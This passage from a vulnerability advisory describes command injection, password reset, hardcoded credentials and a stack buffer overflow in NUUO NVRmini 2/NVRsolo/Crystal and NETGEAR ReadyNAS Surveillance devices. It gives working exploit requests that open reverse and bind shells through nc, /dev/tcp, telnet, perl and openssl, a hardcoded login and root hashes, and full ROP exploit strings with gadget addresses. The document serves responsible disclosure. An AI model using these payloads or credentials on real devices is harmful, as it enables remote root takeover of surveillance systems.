engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user. Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. >> Technical details: #1 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below): function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); } <?php if (isset($_GET['log']) && !empty($_GET['log'])) { $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']); print_file($file_fullpath_name); } else { die("unknown command."); } ?> The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user. - NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. #2 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']); $find_str = "time server"; $sys_msg = system($cmd); $pos = strpos($sys_msg, $find_str); The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user). - NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root. - Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root. #3 Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. #4 Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /__nvr_status___.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit #5 Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7::: NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7::: #6 Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";<command>;# Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23 NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23 > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. #7 Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters. Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command); > For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x61616160 in ?? () (gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb) The request can be sent by an HTTP GET or POST method. > A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992 > On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002 > Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). > Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. 0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack} Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. > Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &") Illustration: 